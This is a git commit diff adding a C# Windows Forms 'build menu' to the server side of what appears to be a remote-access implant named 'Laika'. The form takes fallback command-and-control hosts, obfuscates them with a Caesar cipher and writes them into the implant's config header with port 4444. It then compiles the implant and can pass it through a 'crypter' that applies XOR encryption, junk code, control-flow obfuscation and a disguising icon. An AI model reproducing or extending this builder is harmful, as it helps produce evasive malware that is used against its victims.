add: GUI Server

This commit is contained in:
2024-07-09 19:37:31 +02:00
parent e0cc240808
commit ceecaf7c22
46 changed files with 3002 additions and 68 deletions

179
Server/BuildMenu.cs Normal file
View File

@@ -0,0 +1,179 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Server
{
public partial class BuildMenu : Form
{
public BuildMenu()
{
InitializeComponent();
}
private void BuildMenu_Load(object sender, EventArgs e)
{
this.CenterToParent();
}
private void button1_Click(object sender, EventArgs e)
{
if (textBox1.Text != "")
{
Hosts.Items.Add(textBox1.Text);
button2.Enabled = true;
textBox1.Clear();
}
}
private void Hosts_MouseDown(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
int index = Hosts.IndexFromPoint(e.Location);
if (index < 0)
return;
Hosts.SelectedIndex = index;
contextMenuStrip1.Show(Cursor.Position);
}
}
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
{
Hosts.Items.RemoveAt(Hosts.SelectedIndex);
if (Hosts.Items.Count == 0)
button2.Enabled = false;
}
private void button2_Click(object sender, EventArgs e)
{
string output = "";
button2.Text = "Building...";
button2.Update();
string filePath = @"..\Laika\config.h";
string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count;
newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n";
for (int i = 0; Hosts.Items.Count > i; i++)
{
newContent += "\t\"" + Utils.CAESAR(Hosts.Items[i].ToString()) + "\",\n";
}
newContent += "};\n\n";
newContent += "int fallback_servers_ip[FALLBACK_SERVERS] = {\n";
for (int j = 0; Hosts.Items.Count > j; j++)
{
newContent += "\t4444,\n";
}
newContent += "};";
File.WriteAllText(filePath, newContent);
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C \"\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\"\" -nologo -latest -property installationPath";
startInfo.RedirectStandardOutput = true;
startInfo.UseShellExecute = false;
startInfo.CreateNoWindow = true;
process.StartInfo = startInfo;
process.Start();
string vs_path = process.StandardOutput.ReadToEnd();
process.WaitForExit();
vs_path = vs_path.Replace("\r\n", "");
string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe";
startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86";
startInfo.RedirectStandardError = true;
process.StartInfo = startInfo;
process.Start();
output += process.StandardOutput.ReadToEnd();
output += process.StandardError.ReadToEnd();
process.WaitForExit();
if (!checkBox1.Checked)
{
File.WriteAllText("build_log.txt", output);
button2.Text = "Done !";
return;
}
string args = string.Empty;
if (checkBox2.Checked)
args += " --xor " + textBox2.Text;
if (checkBox3.Checked)
args += " --junk " + numericUpDown1.Value.ToString();
if (checkBox4.Checked)
args += " --control_flow " + numericUpDown2.Value.ToString();
if (pictureBox1.ImageLocation != "")
args += " --icon " + pictureBox1.ImageLocation;
startInfo.Arguments = "/C cd ..\\patate-crypter\\Builder && python gui.py --file ..\\..\\bin\\Laika.exe" + args;
startInfo.RedirectStandardError = true;
process.StartInfo = startInfo;
process.Start();
output += process.StandardOutput.ReadToEnd();
output += process.StandardError.ReadToEnd();
process.WaitForExit();
File.WriteAllText("build_log.txt", output);
button2.Text = "Done !";
}
private void button3_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "Icon files (*.ico)|*.ico",
Title = "Select your icon"
};
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
string filePath = openFileDialog.FileName;
pictureBox1.ImageLocation = filePath;
pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
pictureBox1.Update();
}
}
private void checkBox1_CheckedChanged(object sender, EventArgs e)
{
bool flag = checkBox1.Checked;
checkBox2.Enabled = flag;
checkBox3.Enabled = flag;
checkBox4.Enabled = flag;
pictureBox1.Enabled = flag;
button3.Enabled = flag;
}
private void checkBox2_CheckedChanged(object sender, EventArgs e)
{
label4.Enabled = checkBox2.Checked;
textBox2.Enabled = checkBox2.Checked;
}
private void checkBox3_CheckedChanged(object sender, EventArgs e)
{
label5.Enabled = checkBox3.Checked;
numericUpDown1.Enabled = checkBox3.Checked;
}
private void checkBox4_CheckedChanged(object sender, EventArgs e)
{
label6.Enabled = checkBox4.Checked;
numericUpDown2.Enabled = checkBox4.Checked;
}
}
}